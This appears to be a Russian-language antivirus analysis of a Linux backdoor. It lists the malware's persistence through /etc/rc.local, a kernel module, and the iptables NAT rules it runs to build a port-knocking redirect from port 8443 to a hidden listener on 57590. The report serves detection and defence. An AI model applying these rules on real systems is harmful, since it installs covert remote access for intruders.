Техническая информация
Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
- /etc/rc.local
Вредоносные функции:
Запускает себя в качестве демона
Оперирует следующими модулями ядра:
- vmdevx
Запускает процессы:
- /usr/sbin/xtables-nft-multi iptables -t nat -A XFILTER -p tcp -j REDIRECT --to-port 57590
- /usr/sbin/xtables-nft-multi iptables -t nat -F XFILTER
- iptables -I INPUT -p tcp --dport 57590 -j ACCEPT 2>&1
- /usr/sbin/xtables-nft-multi iptables -t nat -A PREROUTING -p tcp --sport 45535 -m recent --set --name ipxles --rsource -j ACCEPT
- iptables -t nat -D PREROUTING -p tcp --sport 45535 -m recent --set --name ipxles --rsource -j ACCEPT 2>&1
- iptables -t nat -A XFILTER -p tcp -j REDIRECT --to-port 57590 2>&1
- iptables -t nat -N XFILTER 2>&1
- /usr/sbin/xtables-nft-multi iptables -t nat -D PREROUTING -p tcp --sport 45535 -m recent --set --name ipxles --rsource -j ACCEPT
- /usr/sbin/xtables-nft-multi iptables -I INPUT -p tcp --dport 57590 -j ACCEPT
- iptables -t nat -X XFILTER 2>&1
- iptables -t nat -A PREROUTING -p tcp --sport 45535 -m recent --set --name ipxles --rsource -j ACCEPT 2>&1
- iptables -t nat -D PREROUTING -p tcp --dport 8443 --syn -m recent --rcheck --seconds 300 --name ipxles --rsource -j XFILTER 2>&1
- /usr/sbin/xtables-nft-multi iptables -t nat -N XFILTER
- iptables -t nat -A PREROUTING -p tcp --dport 8443 --syn -m recent --rcheck --seconds 300 --name ipxles --rsource -j XFILTER 2>&1
- mkdir /bin/mewiwje
- iptables -D INPUT -p tcp --dport 57590 -j ACCEPT 2>&1
- mv <SAMPLE_FULL_PATH> /bin/mewiwje
- iptables -t nat -F XFILTER 2>&1
- /usr/sbin/xtables-nft-multi iptables -t nat -X XFILTER
- /usr/sbin/xtables-nft-multi iptables -t nat -A PREROUTING -p tcp --dport 8443 --syn -m recent --rcheck --seconds 300 --name ipxles --rsource -j XFILTER
- /usr/sbin/xtables-nft-multi iptables -t nat -D PREROUTING -p tcp --dport 8443 --syn -m recent --rcheck --seconds 300 --name ipxles --rsource -j XFILTER
- /usr/sbin/xtables-nft-multi iptables -D INPUT -p tcp --dport 57590 -j ACCEPT
Завершает следующие процессы:
- dash
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /etc/rc.local
Создает папки:
- /usr/bin/mewiwje
Создает или модифицирует файлы:
- <SAMPLE_FULL_PATH>
Сетевая активность:
Ожидает входящих соединений на портах:
- 0.0.0.0:57590
